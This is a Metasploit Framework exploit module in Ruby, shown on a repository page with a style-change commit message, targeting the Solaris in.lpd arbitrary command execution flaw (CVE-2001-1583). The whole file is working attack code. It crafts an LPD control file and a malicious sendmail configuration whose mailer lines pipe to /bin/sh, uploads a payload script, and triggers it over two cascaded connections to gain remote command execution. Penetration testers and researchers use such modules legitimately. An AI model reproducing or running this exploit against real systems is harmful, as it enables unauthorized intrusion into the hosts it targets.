c547e84fa7
According to the Ruby style guide, %w{} collections for arrays of single
words are preferred. They're easier to type, and if you want a quick
grep, they're easier to search.
This change converts all Payloads to this format if there is more than
one payload to choose from.
It also alphabetizes the payloads, so the order can be more predictable,
and for long sets, easier to scan with eyeballs.
See:
https://github.com/bbatsov/ruby-style-guide#collections
170 lines
4.4 KiB
Ruby
170 lines
4.4 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Solaris LPD Command Execution',
|
|
'Description' => %q{
|
|
This module exploits an arbitrary command execution flaw in
|
|
the in.lpd service shipped with all versions of Sun Solaris
|
|
up to and including 8.0. This module uses a technique
|
|
discovered by Dino Dai Zovi to exploit the flaw without
|
|
needing to know the resolved name of the attacking system.
|
|
},
|
|
'Author' => [ 'hdm', 'ddz' ],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2001-1583'],
|
|
[ 'OSVDB', '15131'],
|
|
[ 'BID', '3274'],
|
|
],
|
|
'Platform' => %w{ solaris unix },
|
|
'Arch' => ARCH_CMD,
|
|
'Payload' =>
|
|
{
|
|
'Space' => 8192,
|
|
'DisableNops' => true,
|
|
'Compat' =>
|
|
{
|
|
'PayloadType' => 'cmd',
|
|
'RequiredCmd' => 'generic perl telnet',
|
|
}
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic Target', { }]
|
|
],
|
|
'DisclosureDate' => 'Aug 31 2001',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(515)
|
|
], self.class)
|
|
end
|
|
|
|
def exploit
|
|
|
|
# This is the temporary path created in the spool directory
|
|
spath = "/var/spool/print"
|
|
|
|
# The job ID is squashed down to three decimal digits
|
|
jid = ($$ % 1000).to_s + [Time.now.to_i].pack('N').unpack('H*')[0]
|
|
|
|
# The control file
|
|
control =
|
|
"H"+"metasploit\n"+
|
|
"P"+"\\\"-C"+spath+"/"+jid+"mail.cf\\\" nobody\n"+
|
|
"f"+"dfA"+jid+"config\n"+
|
|
"f"+"dfA"+jid+"script\n"
|
|
|
|
|
|
# The mail configuration file
|
|
mailcf =
|
|
"V8\n"+
|
|
"\n"+
|
|
"Ou0\n"+
|
|
"Og0\n"+
|
|
"OL0\n"+
|
|
"Oeq\n"+
|
|
"OQX/tmp\n"+
|
|
"\n"+
|
|
"FX|/bin/sh #{spath}/#{jid}script\n"+
|
|
"\n"+
|
|
"S3\n"+
|
|
"S0\n"+
|
|
"R\+ #local \\@blah :blah\n"+
|
|
"S1\n"+
|
|
"S2\n"+
|
|
"S4\n"+
|
|
"S5\n"+
|
|
"\n"+
|
|
"Mlocal P=/bin/sh, J=S, S=0, R=0, A=sh #{spath}/#{jid}script\n"+
|
|
"Mprog P=/bin/sh, J=S, S=0, R=0, A=sh #{spath}/#{jid}script\n"
|
|
|
|
# Establish the first connection to the server
|
|
sock1 = connect(false)
|
|
|
|
# Request a cascaded job
|
|
sock1.put("\x02metasploit:framework\n")
|
|
res = sock1.get_once
|
|
if (not res)
|
|
print_status("The target did not accept our job request command")
|
|
return
|
|
end
|
|
|
|
print_status("Configuring the spool directory...")
|
|
if !(
|
|
send_file(sock1, 2, "cfA" + jid + "metasploit", control) and
|
|
send_file(sock1, 3, jid + "mail.cf", mailcf) and
|
|
send_file(sock1, 3, jid + "script", payload.encoded)
|
|
)
|
|
sock1.close
|
|
return
|
|
end
|
|
|
|
# Establish the second connection to the server
|
|
sock2 = connect(false)
|
|
|
|
# Request another cascaded job
|
|
sock2.put("\x02localhost:metasploit\n")
|
|
res = sock2.get_once
|
|
if (not res)
|
|
print_status("The target did not accept our second job request command")
|
|
return
|
|
end
|
|
|
|
print_status("Attempting to trigger the vulnerable call to the mail program...")
|
|
if !(
|
|
send_file(sock2, 2, "cfA" + jid + "metasploit", control) and
|
|
send_file(sock2, 3, "dfa" + jid + "config", mailcf)
|
|
)
|
|
sock1.close
|
|
sock2.close
|
|
return
|
|
end
|
|
|
|
sock1.close
|
|
sock2.close
|
|
|
|
print_status("Waiting up to 60 seconds for the payload to execute...")
|
|
select(nil,nil,nil,60)
|
|
|
|
handler
|
|
end
|
|
|
|
def send_file(s, type, name, data='')
|
|
|
|
s.put(type.chr + data.length.to_s + " " + name + "\n")
|
|
res = s.get_once(1)
|
|
if !(res and res[0,1] == "\x00")
|
|
print_status("The target did not accept our control file command (#{name})")
|
|
return
|
|
end
|
|
|
|
s.put(data)
|
|
s.put("\x00")
|
|
res = s.get_once(1)
|
|
if !(res and res[0,1] == "\x00")
|
|
print_status("The target did not accept our control file data (#{name})")
|
|
return
|
|
end
|
|
|
|
print_status(sprintf(" Uploaded %.4d bytes >> #{name}", data.length))
|
|
return true
|
|
end
|
|
|
|
end
|